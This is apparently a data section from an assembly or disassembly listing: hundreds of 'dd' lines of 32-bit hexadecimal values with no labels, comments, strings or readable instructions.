		dd 0E43BF736h, 0F37A8151h, 0E1E4A717h, 0AA7F16BFh, 88043C12h
		dd 500B6AEEh, 27F052E0h, 986F8D3Eh, 801A5CD0h, 888B14EDh
		dd 7718D9EEh, 0CEC41798h, 63E72026h, 63CF923Bh,	5B753C0Ah
		dd 69123BA6h, 5A523A63h, 10BEED21h, 0BB4F333Fh,	5615BC40h
		dd 0B44D0F42h, 0BA3F0F28h, 6BC5E942h, 36268DA2h, 7C7EC11Bh
		dd 99C36238h, 0AC12F17Fh, 512046B4h, 3E1F4EC3h,	8C154CA7h
		dd 0EC81AE30h, 8057B971h, 0A3A8A426h, 0BFD931B5h, 71F2B4D4h
		dd 0CA684186h, 69A1321Dh, 0AF557CA9h, 0B0F7CCh,	0F22BFD8Ch
		dd 9B089530h, 0A3D727B4h, 84816742h, 0E2ECA8BAh, 125A560Ah
		dd 37F6FA5Ah, 3D9AB35Bh, 0E921E158h, 50276D4Ah,	0BD3C9618h
		dd 35BE05F8h, 0C26DD160h, 9ABDFA1Dh, 0B658628Bh, 28054D4Ch
		dd 5BAE1381h, 5784BF00h, 0C2FF7A4Ah, 717D5812h,	87BA638h
		dd 5E259E1Ah, 4EDD1E70h, 0EF125453h, 51C595C9h,	9AA5D920h
		dd 0F2B9EE7Dh, 32052D17h, 8002D6DEh, 60157334h,	376F4E41h
		dd 721A7ABEh, 0DE2858Eh, 0FB9D9C04h, 28EA2364h,	56580A51h
		dd 50778013h, 16813AA7h, 1449D6E2h, 5424A64Eh, 0DC26C1Ah
		dd 4B3FBA41h, 0AAF73F35h, 0DE34ABB5h, 0C5C9A2BAh, 935E43BFh
		dd 3CC08134h, 186E23BCh, 87FE0111h, 265131Fh, 0CAFE2A30h
		dd 67351C61h, 31BE0DC6h, 8F30E90Bh, 2DD6BD29h, 5A3BE9C1h
		dd 2C96981h, 40196172h,	5DF8329Fh, 0CA250975h, 62855EB3h
		dd 6666A2C8h, 889CD59Dh, 663DC32Fh, 0B25E0487h,	21316410h
		dd 0EFAF3268h, 27D79555h, 32FA2AD5h, 0FAD6F78Ah, 3D877386h
		dd 3F8B0BB4h, 0E0DDC726h, 18D1EEAAh, 0C0BD30Ch,	762D2D67h
		dd 0ADA0F722h, 79E5404Ch, 0C6B0FBF2h, 0A4410882h, 0EB94532h
		dd 89BEC51Fh, 90555076h, 3F7074F2h, 0F58E342Fh,	41AB84EAh
		dd 0F9E976C1h, 59893E3Ch, 4760C86Bh, 0CB9AFA45h, 827D113Fh
		dd 40F7184Bh, 759E34Fh,	4B35C022h, 0BC0F7BC1h, 40F7868h
		dd 252E9F6h, 325C27Dh, 98B9D601h, 0F53A5740h, 0CBE7AE11h
		dd 0B212573Eh, 3077AF71h, 7194A0B4h, 75F9FCC2h,	80498371h
		dd 22116EFh, 0E7D10B7Fh, 0E81DFF7h, 0CF93642Dh,	511A0C04h
		dd 5FC01D3Bh, 5EAC7721h, 0B82B04CEh, 50539943h,	23450209h
		dd 0CA815601h, 4AA80317h, 0CF0C57C6h, 6F125E14h, 5EF4495h
		dd 87572E1Bh, 1D90F3F9h, 0C0F5DBCFh, 1D03C15Fh,	530AA30Dh
		dd 0F19F00E9h, 3451A0C9h, 0CA8B5597h, 9F62E777h, 93F4EDE9h
		dd 63AC68C1h, 17748E6Bh, 68A148E9h, 236F0666h, 0EE2FAFC5h
		dd 0ED1355CAh, 2D0B0142h, 21E9215Fh, 24BC112h, 33705F5Eh
		dd 3678CE81h, 1B25161Ah, 166A81C9h, 0B754C08Ah,	0EF5CC047h
		dd 4CF1C67h, 0E94206FBh, 1C756839h, 0D22A8AC1h,	0D499AF8Fh
		dd 27EF2020h, 0B7E12834h, 45967F4Ch, 98CC20C2h,	0DDA1AB9Dh
		dd 5C4469C5h, 0CB4FDB8Eh, 98B45AE8h, 21884CDCh,	0AA540289h
		dd 0AEF30852h, 88E4754Bh, 95FC9C20h, 7B3400C1h,	0E3BEA3C5h
		dd 0D8BE802Ah, 9838F565h, 7F8D8694h, 0ED64F419h, 0E1482F0h
		dd 0CD2975E8h, 0CB7DDFE9h, 80424B69h, 3B46F4C3h, 408F5537h
		dd 5727080Ah, 0F8F62394h, 94404381h, 5F72D597h,	4A6CF8BAh
		dd 0EB03B7ADh, 64C0A62h, 3BBC240Ah, 531EC60Dh, 0D5012660h
		dd 3EAC10BBh, 572AB15Ch, 0FA3B0F68h, 6F3B556h, 0C22A2380h
		dd 0A81C6827h, 59441F7Dh, 67FEF131h, 657580FAh,	519D2B39h
		dd 74E1605Eh, 0E9782DB9h, 0D8F6AD4Ch, 83938EA6h, 812580B4h
		dd 6D50702Eh, 0D412D6DFh, 0E9E9E307h, 3FC3E100h, 97E97A5Eh
		dd 0CFD0A04Ah, 1CF1C3Ah, 2FA90566h, 0E9E93543h,	591C6491h
		dd 84370759h, 0AE34A099h, 4CF7F0F8h, 26417931h,	40E4413Bh
		dd 3039097Bh, 0E92608A6h, 0D8AF8D84h, 0CDB3BF6Eh, 5C5837FAh
		dd 424071BDh, 18FFF768h, 84D4FDEh, 7C013794h, 0F5250CC8h
		dd 459A26E5h, 3673D547h, 0C300B024h, 0E9759218h, 0EBB2DEh
		dd 9A39EA25h, 37D684Ah,	0B91C45C5h, 0EFEB26C8h,	4C1EE32Ah
		dd 42950426h, 1EA75A9h,	0DE257B7Ch, 0F0864730h,	0E906872Ah
		dd 59A59A2Fh, 515F499Bh, 7AE88B7Ah, 762D96E7h, 0C583586Bh
		dd 3A680213h, 4054C891h, 9EF16581h, 741D997Eh, 0D9133ACDh
		dd 48AD30E1h, 6D3BC203h, 26F74D37h, 0F33D3769h,	51909CDh
		dd 5147B15Fh, 52CB4648h, 1C4B0959h, 24DD0CA2h, 8325E91Eh
		dd 26027A9Ch, 69147B74h, 912B48DDh, 0AF2FE106h,	0F5358467h
		dd 0F0D9A0FEh, 0F25F9383h, 0E8725FC2h, 0EB8F1ABDh, 8DE3F965h
		dd 69BB1E81h, 9347D708h, 0C00AB498h, 0E100C67Dh, 0E94871F2h
		dd 1D3B9C95h, 28788958h, 6DF0AF29h, 7841592Fh, 0FB2C2453h
		dd 672AC040h, 29205B5Dh, 8357506Ch, 68110D4Ah, 6F024950h
		dd 1B58CCD0h, 0C540E720h, 4A2AB44Bh, 0A207BF0Ch, 2708077Eh
		dd 0B579E0DCh, 0E9EAC954h, 99A720h, 9E762761h, 1E07B870h
		dd 6498143Bh, 11A00F9h,	8D3534F5h, 0C4F63A24h, 0AE2F2739h
		dd 2D92345Ah, 0F2C3631Ah, 0C1786AC4h, 26A99648h, 0F9DD6938h
		dd 8DE95073h, 0F8D0F55Bh, 60920642h, 5B597235h,	0F6F857F1h
		dd 1A6DA40Bh, 760C5D3Dh, 54180B4Ch, 0F40C0234h,	195A0AEEh
		dd 898CE21h, 0B33A7F71h, 0DA525D5Fh, 5BF2FF87h,	987BBC29h
		dd 0AA1D2CBFh, 48D46884h, 0EAF774FEh, 0E7265BA7h, 47D5A579h
		dd 49A697C6h, 0E5D85DFEh, 6E2C590h, 9E13C02Ch, 1D2BD605h
		dd 350BCA40h, 9090C47h,	2738E9FAh, 2004F59Bh, 37342542h
		dd 5F0A8EFDh, 270B0558h, 332E7E96h, 30517341h, 771BA73Bh
		dd 646F6804h, 0E4F1D2E9h, 56EDADE5h, 706D1A8Ch,	2863430h
		dd 0E90A482Dh, 809049B6h, 74130813h, 0FD695A4Fh, 2DE0B93Fh
		dd 0FD36C297h, 92C978EBh, 3E1E631Fh, 32FFDE87h,	0D975589Bh
		dd 117E4277h, 0B5504CF5h, 3C79A191h, 9C854FBDh,	0D2B7F3AEh
		dd 4D3018BDh, 0A72CAC95h, 96D24597h, 0BF258209h, 28232A61h
		dd 5A0EC528h, 29A22E74h, 0EA5F1E34h, 8213AF81h,	53439C3Fh
		dd 63DB6813h, 0FAF586F8h, 0E9C322E6h, 0A039F49h, 0D764ABBAh
		dd 1651D15Ah, 0AC8D9553h, 0E2CD5D8Dh, 283A66Eh,	0E6570AEAh
		dd 60EA5D0Bh, 685E0800h, 999F78FAh, 93595FCh, 1F9BB489h
		dd 98849C57h, 0E34D5FE1h, 9BE94F06h, 15F39484h,	29801401h
		dd 5249062Ah, 62160BF8h, 47FEC333h, 59B09FECh, 813DE401h
		dd 0AA4DA2CEh, 1F79C03Bh, 0C0481180h, 6C9D05C4h, 81FB3CA7h
		dd 5212431h, 5E90A3BAh,	49CC96A9h, 0BF09BD97h, 577C5F23h
		dd 4C3CDB03h, 0CEE3813Bh, 2CD885FAh, 43256814h,	5A08DE65h
		dd 0C4E87157h, 1E808255h, 0DE2452C5h, 0C13D6E07h, 55DA2152h
		dd 2992CDF0h, 7BB5BA05h, 17AA0F64h, 19510232h, 5BC014A7h
		dd 50EA77D8h, 7CF30126h, 32AD5408h, 56F80C44h, 9559369Dh
		dd 0BA8365FBh, 0E015F047h, 255A89CBh, 5EDA1C83h, 0CD387AE6h
		dd 0A8013477h, 0BBCC13BBh
		dd 0ED6BB23Dh, 0FE9325CAh, 0BB29920Eh, 5965E504h, 317C198Dh
		dd 68FE6720h, 0B145AD27h, 26EC5543h, 5EE92761h,	0F8317465h
		dd 0BB04AC72h, 3A1E2D41h, 0C02B1116h, 62C14DE3h, 20D6D2FCh
		dd 390B92F8h, 7D7B17E7h, 0A0C9CB2Eh, 4BC7C1D7h,	0F05E5EA5h
		dd 0FCA828FFh, 7C9F1487h, 0A91C513Ch, 581708EFh, 26BD7404h
		dd 2878BA14h, 68873C07h, 608ACCAh, 0D59CB9E9h, 0D504E65Bh
		dd 0D0C101EEh, 0D5E66DDBh, 0B045ED59h, 0BC43B3F0h, 0DF061F1Dh
		dd 14AF098Fh, 60E4B07Fh, 57C2E192h, 0F51E374h, 0BE4AE52Ch
		dd 0F2120B8Eh, 7121EB4Fh, 7FC25D27h, 126C3A51h,	0DB6B0070h
		dd 66BD5518h, 645C021Dh, 3F2E8194h, 0E9082CB2h,	0BE5DEF60h
		dd 3A643D0h, 21EE812Fh,	0FC9C4A0Dh, 0E6287381h,	0D00BDD08h
		dd 40596420h, 0D3D8E92Ah, 78A2F8D7h, 5472E22Dh,	3FE9F8F3h
		dd 0D8BCAF58h, 3F097E58h, 0EB2D4441h, 0AB5ADE85h, 12D8988h
		dd 0B08B14D5h, 6F8E11E9h, 0E105E0D2h, 206D37C8h, 68F12C2Fh
		dd 943F602Ch, 0CBBB21DEh, 75685553h, 7C0089BDh,	0F5813E15h
		dd 0EC91F11h, 0E9E80956h, 0A0A888AAh, 87F16C8h,	76CCBB1Ch
		dd 945F9551h, 0F7C68229h, 77698FF9h, 680BAE73h,	6586DCCBh
		dd 0E93302B8h, 7C6534AFh, 554A60AFh, 0F6B40950h, 0E602E630h
		dd 5D0275A6h, 24818245h, 0A6AE7555h, 0BF948017h, 2D09163Fh
		dd 0F7CF8710h, 3507555Ah, 50C85AADh, 738E2AE0h,	0CB4295E1h
		dd 9BC82A7Eh, 13A7510Eh, 0C97AF2BEh, 0C33DE87Eh, 50330001h
		dd 892D5971h, 751D536Fh, 2270E3E9h, 3980A9B3h, 0CB989AEBh
		dd 0E9A6CCB7h, 1B58DB24h, 0A5BE26CFh, 205C98F9h, 68142AC6h
		dd 0DE883F6Ch, 54AB3D13h, 315ED83Fh, 8894E6A8h,	0C0051635h
		dd 55DD2F61h, 4251D4B6h, 2AAE2DCh, 6819B767h, 579124Ch
		dd 6AD8DE80h, 70B8E9EEh, 0B22FE16Eh, 1BEDB298h,	55793CFAh
		dd 1E506860h, 0EC415AC6h, 0FB51356h, 0C829D40Ah, 79B7B428h
		dd 0D177490Dh, 42D7251Fh, 9F73757Ch, 4CCA09AFh,	0B5569D52h
		dd 0DA2174A5h, 24908FF2h, 3370A509h, 4E65478h, 0F0EF68E9h
		dd 7D41FEC2h, 5C2420E9h, 1DD80BBAh, 90F5417Bh, 1329E251h
		dd 10B2457h, 0BE63F6C2h, 0EB12A7Eh, 137FC320h, 0ACCD7661h
		dd 0A005021Fh, 62CEEBD9h, 4A85F241h, 8F3DEF53h,	65D5B13Fh
		dd 5543C93h, 0DB04D6Eh,	0ACFBD2C3h, 8B9DBE12h, 0F70A816Eh
		dd 682120D0h, 28EE3AE1h, 0D09A67F0h, 5C4C0D8Ch,	0C2EC8EACh
		dd 57294FD7h, 0C835EECh, 687D41C4h, 6A444620h, 48719FC1h
		dd 17B9D313h, 29B37B3Bh, 4470EB96h, 465D61Bh, 0A4414BBEh
		dd 0BE13BBB0h, 683ADDBCh, 62BC96FBh, 0CCFF4FCFh, 0C688BD68h
		dd 19E90565h, 7C8E493Eh, 0A7131F54h, 0D730D449h, 6812C216h
		dd 903170B5h, 60306DB3h, 0D85A412Eh, 0FE0426B0h, 30AB2CC8h
		dd 95BE6584h, 1005BBBDh, 74245220h, 123C75C3h, 0E82BF05Dh
		dd 0EEC3C4DCh, 0B80020EEh, 393E0EDDh, 974AF1Fh,	0A916550Dh
		dd 2D899126h, 36096887h, 0ECA85444h, 81F54E4Ch,	425D304h
		dd 1AEFDB01h, 55CA7A37h, 0E9F64244h, 0A748130Bh, 886AF710h
		dd 9C975470h, 0F8615A8Ch, 2512DEF4h, 0EE88E744h, 0CE1897B8h
		dd 1E18A48Eh, 52E580F3h, 0F48831B6h, 9AF626E9h,	61DA5A00h
		dd 0B2575A01h, 9703E921h, 0CA874900h, 8FE376B5h, 0C621BE56h
		dd 2A29846Eh, 0B2525AD8h, 4C229774h, 0EF48A8E9h, 5095DDF7h
		dd 2CF79561h, 0F2A70EFh, 31233D05h, 0B52D5A60h,	444C4D01h
		dd 7A17D0Fh, 0C18B625Dh, 29D56851h, 3C0AE901h, 0B1614EB7h
		dd 0B9008581h, 692C2C22h, 803FB743h, 0BA533079h, 27D3E3F5h
		dd 695C31EEh, 0E0E90631h, 9B40BF2Ch, 0F6801EBFh, 0A12FF8F9h
		dd 872E38D2h, 317C4FDh,	78E5CD71h, 1265EA26h, 0EA088820h
		dd 1D714003h, 0F1D521C4h, 0CBBB3E79h, 1486510h,	0C680E5B6h
		dd 7021307Ch, 0C14F95F4h, 24514DC5h, 71003B5Bh,	0E943DBF7h
		dd 316A4F35h, 8467F73h,	0D5641009h, 0F2800462h,	13AE559Ah
		dd 4EDBE89Ch, 0E9A338AAh, 1D9ED45Dh, 18D9862Ch,	9C3351C7h
		dd 503EC897h, 79326809h, 4E657D4Dh, 1D2E2D0Ch, 58C22789h
		dd 1E25F171h, 0FE0CD2B6h, 0A94F7FCFh, 12C19148h, 9061ED46h
		dd 68008518h, 6E13719Bh, 1FE5E15h, 0EF39B90Eh, 89152D32h
		dd 58C5EDEh, 0FFD87E48h, 19BA1013h, 294C7Ah, 4BE04ACh
		dd 0D068D828h, 0CC5CD81Dh, 10BEF64Ch, 0FA4E322Fh, 0EE56C91Eh
		dd 0FEBA5781h, 5721D385h, 0ABF6EE1Ch, 853F5924h, 103E6C1h
		dd 10C3CD1h, 4CA46808h,	98FEB4C0h, 0B434E951h, 0E3851F15h
		dd 0EE1952B8h, 295D4689h, 0CAE93E1Fh, 0F841B90Ah, 11583F10h
		dd 136E10h, 205144BBh, 164BB80Eh, 0E80219B4h, 62B85F4Ah
		dd 8F05E107h, 43F13068h, 0ECA8873Dh, 7616F281h,	0F0066619h
		dd 0B54E0E14h, 0F41126F4h, 9202AC4Ah, 9AD25E1Dh, 0B151E140h
		dd 1DC98018h, 75D1F60Ch, 1ACB08AAh, 41EE7E27h, 585E3A68h
		dd 0B604D7BFh, 4A63E9A4h, 0D22D5D07h, 0AD82183Dh, 0A1544BBDh
		dd 95DA66EFh, 1FE9D16h,	0D2A7981Eh, 5ECAC06Dh, 3127D826h
		dd 507FD74Ch, 3803DA72h, 35584F85h, 4A878930h, 4BA83Bh
		dd 71270F6h, 4AE94E64h,	0EB4813A1h, 0B15AB08Bh,	2C82600Ah
		dd 0F4F671CBh, 54631271h, 57064900h, 23A4D9E9h,	1ABCED05h
		dd 0E1BB5A06h, 90804FDh, 7180D5F6h, 2B372A53h, 0F230E912h
		dd 0CC62D1E9h, 73496EA8h, 4EC60C6h, 60F3548h, 12131751h
		dd 0EAC90182h, 50E9B549h, 0D17A345Bh, 51479FBEh, 5942B8C0h
		dd 0B96518DDh, 0E1E90B44h, 2663564Dh, 4049CCBh,	8FA2F328h
		dd 0AD05B490h, 0BAE9B252h, 0DAF67E80h, 95B50751h, 3559EA28h
		dd 0EB1C28D3h, 5B4E2E58h, 0B700A7B3h, 50C7FEF4h, 801ECAB4h
		dd 0CC1809C4h, 25E9B90Ah, 2572EB8Dh, 912D1DF6h,	9B215F0Ah
		dd 2054A071h, 596FCD32h, 71365E06h, 9D024CA2h, 6F109D4Ch
		dd 41491582h, 779E7F89h, 7D273826h, 6BFCBF31h, 5F7800A3h
		dd 80411337h, 847C217h,	0CC1E27Eh, 4C765E98h, 12E180BEh
		dd 0BFD017E3h, 11B689FEh, 0D2418702h, 626A5429h, 0B448C43h
		dd 3A458F0Bh, 0A5E9C55Fh, 8A706577h, 96EF3589h,	1D6912DFh
		dd 0B44072Dh, 3DADF240h, 0C42814E5h, 0B7415D4Dh, 0FEED5FF2h
		dd 4978BA41h, 3C4FD112h, 0FE20E95Ch, 55809565h,	20946E0Ah
		dd 0F74E4BF8h, 0EBB974AAh, 0FE5B12FCh, 0D2429C2Ch, 0EAC1FF1Fh
		dd 0ED7FED91h, 0AEC99E28h, 0F3CEA42Eh, 520CCC2h, 0E56A54B8h
		dd 0BE38D15Eh, 0B12164A8h, 14975916h, 6209B5ECh, 58DA3Dh
		dd 5AE5DB07h, 0DC998951h, 648FE0EBh, 0E927134Ah, 0D4503CAh
		dd 5B30800Fh, 7C950135h, 0C3091E07h, 2DAC2A58h,	0E1782DA0h
		dd 0E8C1740Bh, 0C79A8E07h, 846B3263h, 66099C0Eh, 0B5202D7h
		dd 504E7771h, 879D0290h, 7C19918Ah, 69792DEAh, 74116862h
		dd 0FB774557h, 390046CFh, 57716D3Eh, 4F30B1BFh,	49CF48AAh
		dd 77642510h, 0EE0195F8h, 0E996A6E0h, 0FFC23080h, 0E9E2A2F3h
		dd 0E6B17882h, 8A1D3C2h, 4A2C0887h, 6662BE0Bh, 262B09DDh
		dd 0EE5750CFh, 9176C98Ch, 532DEE65h, 9518B31h, 5768D310h
		dd 74201D4Bh, 4BA8E953h, 39AF9035h, 1E59297Eh, 0D1091772h
		dd 0E7ACF06h, 0D7C3BD35h, 0ADA24B98h, 24B0F25Bh, 9D54709Eh
		dd 269C977Fh, 74CA0C53h, 0D75AC221h, 68577681h,	487CA30h
		dd 0F9E95F19h, 0F049FEFCh, 0F09784DAh, 2C1A885Fh, 0BA268028h
		dd 35407DE7h, 959E3C8Eh
		dd 544318DCh, 0F16D3E4Eh, 406C1704h, 67C1FF29h,	0BD486A2Ch
		dd 13E5B6C4h, 0A2B6EB5Ah, 84E3B8D7h, 0FB5336DFh, 0A6E9E3D1h
		dd 7DE2CAFEh, 7E5FA79Ah, 0C05E6A8Bh, 595F3068h,	0D7995797h
		dd 7E413047h, 9523813h,	25B6EBCh, 27065F6Bh, 0F94E44C3h
		dd 3CCCB4E0h, 292D0363h, 0D85A98D6h, 2156BF82h,	77895F6Bh
		dd 0DE2108E0h, 265F21C7h, 0D8313372h, 0AE745959h, 0F12D0958h
		dd 3B8BB476h, 0A996F54Ah, 0F9636FAh, 0C21A7C25h, 880365EEh
		dd 9839B9CEh, 0A060E23Bh, 0BFED96E9h, 0C34436DEh, 170699F4h
		dd 84147D22h, 10F4C086h, 8B908601h, 0A474212Ch,	770BDB47h
		dd 0ECB7FA8Eh, 506602B4h, 7070B652h, 61255915h,	4BB023CFh
		dd 5AC0201h, 1F703C1Fh,	5F4D1246h, 56B4EA3Ah, 22F8A156h
		dd 838F3A9h, 0BE01A126h, 5CD71A2Dh, 7F253870h, 0E9100829h
		dd 763E1E4Fh, 0BE3F9F24h, 0F85A7440h, 73FCA044h, 7A962079h
		dd 0E7E90309h, 24E55A54h, 2D5F4749h, 482D77F0h,	71C73A5h
		dd 85330853h, 0F7A4BFD1h, 0BD95C3FAh, 75B05D29h, 0B6266845h
		dd 0B3C0C340h, 9869164Eh, 8401350Bh, 0DC2DAA1Ch, 666DC17Fh
		dd 0C2958147h, 3894EA3Fh, 0BE3F043Bh, 0DE68456Dh, 0FB5C34BAh
		dd 0F0D253F7h, 6403DE17h, 0F1E912EFh, 0E3673B81h, 4BCA4A89h
		dd 0BD841600h, 6D90FC7Dh, 53BC2DF8h, 15355E00h,	0B6408009h
		dd 12F72F06h, 0A559DD2Dh, 24E59E88h, 0B26B27F2h, 9E856DAh
		dd 641D8305h, 0C24254FDh, 0DF0FEC06h, 70E1342h,	550111B4h
		dd 0CC049CBDh, 7EE03F7Bh, 160FE8FAh, 0A234E937h, 86E416DEh
		dd 17CD90CCh, 0A9389A04h, 0F38100B0h, 42E12BD9h, 7C600B2Dh
		dd 478972E0h, 1ED0532Ah, 6BE4F7Fh, 88888164h, 30632C24h
		dd 0F0F7660Dh, 9175E568h, 0BFEAC0Ch, 781483ECh,	0C20F8381h
		dd 0BD95355h, 647D59CFh, 3B3960A0h, 92B85EDh, 0D8305467h
		dd 5F7D78C2h, 4E26E600h, 0BE982FB8h, 0DFA9594Ah, 52870973h
		dd 11753EF0h, 0D447B8C0h, 92B85619h, 0B95DB0DEh, 0A60E160Bh
		dd 2CADD460h, 3D885AF3h, 5D5603B7h, 0EAF0125Ch,	7A4F58D3h
		dd 8A04EFC3h, 0D2505F85h, 0A008C251h, 5D02140Ch, 0D9E95256h
		dd 0E5DC55FDh, 9E021169h, 820EBC3Eh, 0DF667A2Ch, 0E907E8F1h
		dd 550B314Eh, 3FF68646h, 3CD15B9Dh, 4D0877BDh, 0CC84C29h
		dd 0F5A85916h, 27303D06h, 9217DA29h, 7603B503h,	0AC62E9E8h
		dd 2B5BDC18h, 0CC592835h, 0D121B889h, 4E123A2h,	4E6A32D8h
		dd 0E7810101h, 39E9255Fh, 73965870h, 0B45D5F3Bh, 0F2F2EF36h
		dd 0D0171C2Dh, 60D7E6D6h, 59BA485Ah, 619F2C8Ah,	0D0505E5Ah
		dd 205D829h, 12BC2D3Ah,	9D58B168h, 947DFE97h, 7550DC31h
		dd 58358023h, 6B38FC1Eh, 0E752EA93h, 0C34BD0EBh, 49770B39h
		dd 907558BDh, 2158408Eh, 10C7D052h, 593814E5h, 2E0BF028h
		dd 40315279h, 6B9A1653h, 58CBDB94h, 0D3481644h,	22C4AA26h
		dd 0E74F0817h, 2E5F4CE9h, 30752AB6h, 37742030h,	20F4801Fh
		dd 8EB0E352h, 0FB31D696h, 775B3C0Bh, 0F7A52FC5h, 5E98A2CCh
		dd 0B75A4A40h, 0B6DA130h, 0CB4551B5h, 5F864A77h, 82AE1C0h
		dd 5849C67Bh, 61AF5AEDh, 3FE336DCh, 4B4AFBCFh, 3FE0CB2Dh
		dd 322CD7BFh, 0EF006D92h, 2228C5CDh, 76F86B09h,	5A6055DEh
		dd 970E6F68h, 9A8B967Bh, 79292922h, 7E510870h, 0B042F22Dh
		dd 774BC7C7h, 9753F428h, 82E2E452h, 5C5CE143h, 206BE90Bh
		dd 0B5515845h, 68D1B001h, 809B8C89h, 970A09B8h,	0D5C4046h
		dd 2E1A0411h, 0CEB8F7E9h, 9032AC30h, 2473C680h,	77EEE3Bh
		dd 0E95110F6h, 87162269h, 0A6C6FFCDh, 245EAD90h, 0FBB0E24h
		dd 5941E235h, 0A5E4BD66h, 98F560Bh, 839082FDh, 0CC3B78CAh
		dd 8CCD0E57h, 8079AF5Dh, 1D04E7E5h, 0A1E9136Dh,	32FC2196h
		dd 143276EAh, 8B8C1A5Fh, 56C0E03Ch, 20782817h, 3FC72012h
		dd 74371AB6h, 1DEC4F41h, 0E031F43Bh, 5E8E3854h,	5FCA4D0Fh
		dd 0FF05A9C1h, 57072820h, 91601DE9h, 6A80E3B7h,	2B705CF1h
		dd 0BCF99D7Fh, 43992500h, 0B5DD898Fh, 4F83C140h, 0FC14BB2Fh
		dd 0DC4518A1h, 4098429Bh, 7F2FE927h, 68507018h,	947C2225h
		dd 59C19446h, 0BBCC3F6Dh, 22EE4BE9h, 0D9C1269Eh, 10CBD844h
		dd 58477E3Ch, 0FE920B8Bh, 0FB4602E7h, 5FE3204Eh, 0E6CFA00Bh
		dd 71AAB363h, 3B29E2EFh, 5CCF07F6h, 0F157C5A9h,	0FD0142EEh
		dd 5A7FDE5Dh, 1338BDFCh, 0A48A02B8h, 0A4A7B84Bh, 396D3C2h
		dd 0E894D888h, 0BA8D2C29h, 109CDFA5h, 9BBE5600h, 0E9327C48h
		dd 191763EBh, 31C25AD4h, 6A5CC7C9h, 3810F7FDh, 5D5418E1h
		dd 6622A3Eh, 0F681428Fh, 0E9180D2Eh, 0F3798D0Ch, 68889D4Ch
		dd 3FE2ADFAh, 0CB55DC0h, 84B49895h, 478164Ch, 0D05FFF5Eh
		dd 0F1411377h, 883476E9h, 19DD9052h, 0B4EA88D0h, 685E0046h
		dd 0CC5F5AB2h, 4A58B8CAh, 121EDE9Eh, 82B45EFh, 0AD0920B8h
		dd 0BEE20255h, 3750BA1h, 82DEF1E6h, 0F5FF41CEh,	135A092Bh
		dd 0D5974259h, 38ED9A56h, 4D771107h, 5393DE39h,	8544ED5Dh
		dd 180F704Fh, 729F0E47h, 5CC96FB2h, 89EC89F7h, 0A1B82A72h
		dd 0A9E8A502h, 263F76B7h, 0AC50B14h, 750BB1D1h,	0B8A3E646h
		dd 25681CCCh, 94DD2F7Ah, 5BDE2742h, 25B94675h, 0D57E77F8h
		dd 0AFA1EEE4h, 0EF67656Bh, 5A2B23CCh, 533122E0h, 0D714C1D7h
		dd 0F92BFCC9h, 215D098Fh, 0A7F645F0h, 50D848D7h, 0E7587F56h
		dd 6610C742h, 8C1B9F9Ch, 55DEB405h, 0C30A6F56h,	68417C07h
		dd 623E5C0Dh, 82E050FBh, 0A40D4C86h, 0F58EE90Fh, 6F41630h
		dd 0BA76F12Ah, 0E9250BF8h, 0B126E053h, 0E1801E2Bh, 24B341B0h
		dd 0E705E3C0h, 0F0E0209Ah, 8082F2C9h, 473207B3h, 0DA681255h
		dd 3476151h, 56367F0Eh,	4765EB3Ah, 0B7DF8CFCh, 0E00C24F9h
		dd 0B8C753F3h, 7E462F83h, 0EF51AFF0h, 33BF4008h, 1440B06Ch
		dd 0B4A2E0Ch, 12F717C9h, 4038AF18h, 187F2F68h, 4E8BE8D1h
		dd 66145CE8h, 92F58B47h, 20EA5D32h, 0AC7CC53Bh,	185860Ch
		dd 26E9C9EFh, 522C22E8h, 4196B140h, 5D254F25h, 0C285C7E1h
		dd 8035BD5h, 0A66777Dh,	6C8FFB7Bh, 9CFE885h, 25E34B9Fh
		dd 52891CF1h, 2E137F06h, 6B0801C1h, 7985C8A3h, 85EFFC62h
		dd 28BA1B19h, 4CB45386h, 2F9300Bh, 7E349BA3h, 0ECF36962h
		dd 2C673008h, 665D88D3h, 0E0FD880Bh, 809268BDh,	507C96B5h
		dd 0E74CEC7Eh, 3A9916C7h, 522560F7h, 2DE3CD75h,	0AEBABBD9h
		dd 2C8FC8BDh, 0AFF36FA3h, 55B6684h, 27F6072Dh, 0B2937531h
		dd 37C4954Ch, 9E58B80Fh, 0FA1F651Dh, 9275A2FFh,	0D303A3BFh
		dd 0EF007CB5h, 0D05361h, 752C057Dh, 54E925F3h, 0EDCD8B5Bh
		dd 75493B59h, 0E503E23Fh, 51E5CE82h, 0C1902F2Ch, 0DBA46A03h
		dd 8E36540Ch, 6B0C1Eh, 9694011h, 906EE9D3h, 250F45B5h
		dd 52041AFDh, 0FEA62DABh, 28494A7Ah, 0E0067D77h, 59C66856h
		dd 0EBC4F91h, 73CBADA0h, 53B5F670h, 0CC5E6B1Fh,	700DE950h
		dd 0F8DCBD8Eh, 3C631C85h, 65F899D1h, 0ACD21D96h, 4CA007AAh
		dd 86E21F05h, 6D987EFFh, 0A9F37B62h, 0F6F3E9C2h, 2878CC5Dh
		dd 802E4FA7h, 307459EFh, 0F2111288h, 760BCF54h,	55D00166h
		dd 485FD569h, 68BFBD91h, 255AD0B1h, 554048h, 3CEC2537h
		dd 50602CEh, 0F97BF37Ch, 50E92348h, 0E04E494Bh,	5FF0695Bh
		dd 0E9137F9Eh, 49F624ACh, 0BBF32C8Fh, 0DC4C2EDAh, 7F345D2Fh
		dd 193C9520h, 3361F268h, 0C2E7A7C7h, 46C9059Eh,	8E3BCA01h
		dd 2960E0C6h, 3E4212AFh
		dd 3A53E14Fh, 0C98D3FCh, 709225Dh, 84F58952h, 0B6040C27h
		dd 3FD8FE7Bh, 0B7D59295h, 0C70F44F4h, 0DD73E72Bh, 5A61FC99h
		dd 7344D380h, 0B5900F99h, 662E2701h, 2A39E93Bh,	1400D572h
		dd 4E106869h, 2992E6D1h, 117AEE1Dh, 12FB67D3h, 7FC0A5A5h
		dd 41A983F8h, 3F942h, 7E0580B9h, 0B041719Bh, 579E59D8h
		dd 91D14A9Eh, 0C32989D8h, 0C2C8ED76h, 860D8A13h, 55611C01h
		dd 0A23A11B1h, 6BE002Eh, 25782F24h, 0F6820C7Eh,	0D0DA87DBh
		dd 7FF39F9Eh, 23844A16h, 730B5EBCh, 0EFDEDB40h,	7A711FA4h
		dd 45A966Dh, 47D3D45h, 0DCBE1433h, 7C95D519h, 0D9F549F0h
		dd 23AB6470h, 0EC2F4FBEh, 9B0B302h, 1A7681Dh, 0A3941DD1h
		dd 7162120Dh, 0E495DFB9h, 96FFF7C9h, 58780DEh, 3D22F2Dh
		dd 0A5159168h, 789DC5EEh, 2040985Dh, 5B2D44C0h,	0B9C8E855h
